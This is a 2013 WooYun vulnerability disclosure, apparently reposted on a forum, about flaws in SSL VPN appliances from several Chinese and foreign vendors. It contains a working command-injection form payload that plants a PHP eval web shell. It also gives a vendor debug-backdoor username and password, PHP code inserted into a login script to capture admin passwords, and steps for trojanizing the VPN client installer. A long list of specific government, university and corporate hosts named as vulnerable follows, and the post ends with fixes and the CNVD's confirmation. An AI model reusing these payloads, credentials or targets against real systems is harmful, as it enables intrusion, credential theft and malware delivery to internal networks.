漏洞概要
缺陷编号：
WooYun-2013-24919
漏洞标题： [浅谈内网安全]--国内外多家vpn设备厂商批量漏洞
相关厂商：
网御神州、天融信、西安网赢、卫士通、吉大正元、美国凹凸、德国 ANIX等多家VPN厂商设备
漏洞作者：
紫梦芊
提交时间： 2013-06-01 11:23
公开时间： 2013-08-30 11:24
漏洞类型： 设计不当
危害等级： 中
自评Rank： 5
漏洞状态： 已交由第三方厂商(cncert国家互联网应急中心)
处理漏洞来源：
http://www.wooyun.org
Tags标签：
远程命令执行 设计缺陷/边界绕过 任意文件下载 木马下发 数据库明文密码
漏洞详情披露状态：
2013-06-01： 细节已通知厂商并且等待厂商处理中
2013-06-03： 厂商已经确认，细节仅向厂商公开
2013-06-06： 细节向第三方安全合作伙伴开放
2013-06-13： 细节向核心白帽子及相关领域专家公开
2013-06-23： 细节向普通白帽子公开
2013-07-13： 细节向实习白帽子公开
2013-08-30： 细节向公众公开
简要描述：
继之前乌云上爆出深信服大量高危漏洞后,大家就感到vpn等基础设施的安全性非常值得重视,一暴露就涉及到内网系统的安全性,毕竟这些系统的安全性大都依赖于vpn验证有效用户，现在来发些其他厂商的高危吧(据知有人手中还有新版M5.9的0day).
该漏洞涉及到包括网御神州、天融信、西安网赢、卫士通、吉大正元、美国凹凸、德国 ANIX等多家VPN厂商设备在政务、地产、运营商、政府部门、高校、企业、公安、司法、银行等行业存在的任意文件下载、远程命令执行、维护后门、三方平台帐号泄漏、恶意客户端下发等高位漏洞。
发现有些时日了,很可惜的错过了乌云众测四期(知道四期是关于vpn的时四期已经结束了,不知道这些漏洞是不是那个厂商也有的)
为了防止像深信服那种问题，建议由cncert分发给各厂商,然后3个月后公开。
详细说明：
看到在北大读研的同学Ray发的信息东点西点进到了vpn.pku.edu.cn(当时还是o2的vpn,现在可以借鉴北大计算中心https://124.205.79.78/)然后尝试渗透测试,发现有个证书请求链接,点进去看可以下载东西,但是没有初始化mimiCA,于是想到同源通注,就去网上找相同代码特征的系统 很容易地找到了vpn.cnu.edu.cn/sub_ca.php
在sub_ca_action.php?id=0看到 任意文件下载
分别传入参数/etc/httpd/httpd.conf 和 httpd.conf获得apache配置 找到了web根路径为/ssl/www 于是想看看漏洞代码是如何的
然后分别传入传 /ssl/www/minica_down.php 和minica_down.php下载minica_down.php
前两行是发现
code 区域if($_POST['realfile'])
exec("cp ".$_POST['realfile']." ".$_POST['path']."");
（感觉这些vpn设备的开发管用C和shell的思想,所以喜欢用system和exec不喜欢php内置函数）
幸好之前在淘宝实习时学过白盒 能看懂些代码 于是 有了任意命令执行
code 区域<form action="https://IP/minica_down.php" method="post">
<input name="realfile" type="hidden" value="aimee.php aimee.php || echo '<?php eval($_POST[cmd]);?>It works' >/ssl/www/aimee.php ">
<input type=hidden>
<input type=submit>
</form>
提交一个后门
用菜刀连接，获得root权限, 这还没结束。
对代码进行些审计,发现开发留的后门/ssl/www/admin/debug.php 帐号密码o2micro killbug(部分厂家已经去掉)
然后发现mysql不向外开放并且是unix的socket方式去访问的
但是可以通过
ini_set("mysql.default_socket = /var/run/mysql/mysql.sock"); 去连接
可以exec("/ssl/mysqld/mysqldump >xxx") 导出或是用exec执行sql等
然后管理员密码是sha1加密了的 于是在/ssl/www/admin/login_action.php第128行(认证成功后)加入 (初学php,别见笑)
code 区域$obj=file_get_contents("admin.json");
$userList=json_decode($obj);
$userList->$UserName=$UserPass;
file_put_contents("admin.json",json_encode($userList));
钓取管理员账号密码
钓鱼后进入后台了解了下系统,发现三方LDAP、AD认证方式管理帐号密码可以在html代码中看到明文,
其次就是存储三方系统登录地址、帐号、密码用来实现SSO的子帐号也是明文,数据库中一看,证实未进行任何加密处理,至少也应该来个AES吧(一些系统没配认证方式和子帐号)
使用一次vpn后发现是web端安装插件方式安装客户端,于是尝试给客户端加点东西试试,对于dll绑恶意dll我不会(而且给dll签名没证书),只能在exe上拙劣的下手,于是到/ssl/www/download/ClientSetup.exe(app.exe.cab应该也存在问题)
下载下来,用winrar生成自解压运行的包含恶意文件和ClientSetup.exe的新ClientSetup.exe 传入到原目录替换后能够达到在内网种植木马的功效。
-------------------------------------------------------
存在漏洞的站点至少包括
美国凹凸科技(o2security)
https://vpn.bit.edu.cn/ 北京理工
https://sslvpn.bjtu.edu.cn/ 北交大
https://125.46.88.100/ 郑州大学
https://219.80.0.19/p 国泰地产集团
https://info.nai.edu.cn/ 北京国家会计学院
https://124.205.79.78/ 北大计算中心
https://210.82.53.201/ 北京联合大学
https://vpn.cnu.edu.cn/ 首都师大
https://vpn.mcut.edu.tw/ 台湾明志科技大学
https://ac.whlib.gov.cn 武汉图书馆
https://sslvpn.nhcue.edu.tw 新竹教育大学
https://isms.ydu.edu.tw/ 育達商業科技大學
https://sslvpn.ydu.edu.tw/ 育達商業科技大學
https://vpn.cute.edu.tw 中国(台湾)科技大学
https://sslvpn.ntue.edu.tw 国立台北教育大学
https://vpn.psi.com.tw 升阳国际
https://maltimur.jksm.gov.my/ 马来西亚某政府网站
https://vpn.ccom.edu.cn 中央音乐学院
https://vpn.dlmu.edu.cn 大连海事大学
https://vpn.wanfang.edu.cn 河南理工
https://vpn.genius.com.cn 深圳巨灵
https://sslvpn.changhongit.com 长虹佳华
https://vpn.jnrd.com.cn 北京京能热电
https://sslvpn.kworld.com.tw 廣寰台北辦公室
https://www.oo586.com/ 易宝支付
https://svpn.mbatec.com.tw 新碩資訊
https://sslvpn.szs.com.tw 新日兴
https://sslvpn.gzcatv.net 广数传媒
https://e.nais.net.cn 农业部农E通
https://vpn.thcic.cn 清华
https://vpn.pku.edu.cn/ 北大(已经失效)
https://vpn.cau.edu.cn/ 中国农大(已经换了)
https://sh-vpn.o2micro.com o2
https://bj-vpn.o2micro.com o2
https://cd-vpn.o2micro.com o2
天融信 网络卫士VPN系统(admin/debug.php o2micro killbug)
https://218.26.21.194/ 山西邮政VPN系统
https://218.26.7.112/ 山西检验检疫局VPN系统
联想网神-网御神州 SecSSL3600(号称国内第一的SSLVPN)
https://220.178.250.102/ 马鞍山市行政事业单位资产管理信息系统
https://vpn.hnuu.edu.cn/ 淮南联大
https://222.75.160.120/
https://60.191.18.54/
https://61.191.18.137/ 合肥市房地产市场信息系统
https://218.22.51.114/ 安徽省肥西财政局
https://183.166.187.156/ 黄山市网上房地产信息系统
https://oa.qzbsg.gov.cn 广西钦州保税港区
https://www.smfgny.com 陕西煤业化工集团
https://cbj.1203.org 残疾人就业保障金征缴管理系统
https://58.54.252.40 荆州电子政务外网
https://218.24.94.244 沈阳市经济和信息化委员会
https://219.141.234.54/ 中国渔政管理指挥系统
https://vpn.cdc.com.cn 成都普天电缆
https://58.242.162.242/
https://116.236.137.18/
https://oa.qzbsg.gov.cn/
https://122.225.14.154/
https://60.191.18.54/
西安网赢信息技术有限公司 护航者
https://125.65.179.230/ 四川省丹棱县党政综合办公平台
https://www.scxjrz.com/ 四川电信安全运营中心
德国ANIX
https://vpn.tgsh.ttct.edu.tw/ 台东女中
卫士通 中华卫士
https://ssl.qztc.com/welcome.php 泉州电信
吉大正元
https://oa.chnmuseum.cn/ 国家博物馆
https://218.62.26.250/
https://219.143.243.103/
这些里面没有minica_down的就有debug后门,没debug的就有minica_down问题 很多是都存在。
在这些厂商描述中他们在公安网 银行专网 审计署内部网络 司法专网等私网也用了这些系统保护信息安全 据我猜想如果这些私网中肯定更有很多不堪一击的系统。
所以个人认为内网安全不能仅仅去依靠防火墙 VPN IDS等设备去完成 一旦这些设备出现问题 或是被合法绕过 里面的系统如果安全性不够的话 信息泄漏是很轻易的事。
漏洞证明：
两个一句话例子
https://vpn.thcic.cn/sms_inc.php
https://218.26.21.194/sms_inc.php
修复方案：
1.删除debug.php
2.minica_down.php第2和12行
exec("cp ".$_POST['realfile']." ".$_POST['path']."");改为
copy($_POST['realfile'],$_POST['path'])
exec("rm ".$_POST["path"]."");改为
unlink($_POST['path'])
3.子帐号和三方认证平台管理信息使用AES或3des加密存在数据库中 防止脱裤后的更大安全危害
4.在客户端安全加入checksum
版权声明：转载请注明来源
紫梦芊@
乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2013-06-03 22:29
厂商回复：
CNVD确认并复现所述其中三个厂商案例情况，另外四家厂商可确认产品同源，但实测未发现包含或远程执行相关结果。根据后续源代码分析，OEM为主要原因，问题根源出现在第一家厂商上。
针对测试得到的部分结果，CNVD以及CNCERT采用以下方式进行：1、CNVD向国内相关VPN设备厂商询查是否OEM目标厂商产品，并协调涉事的三家厂商先行处置；2、对于涉及的政府和重要部门，转由CNCERT协调设备管理单位处置（包含一些工业和信息化部直属高校）；
最早在明天应该会有一个通信行业通报出来，向社会公众发布预警。
rank 30?40?
最新状态：
暂无
原文：http://www.wooyun.org/bugs/wooyun-2013-024919
[
本帖最后由 linda 于 2016-2-15 11:01 编辑 ]
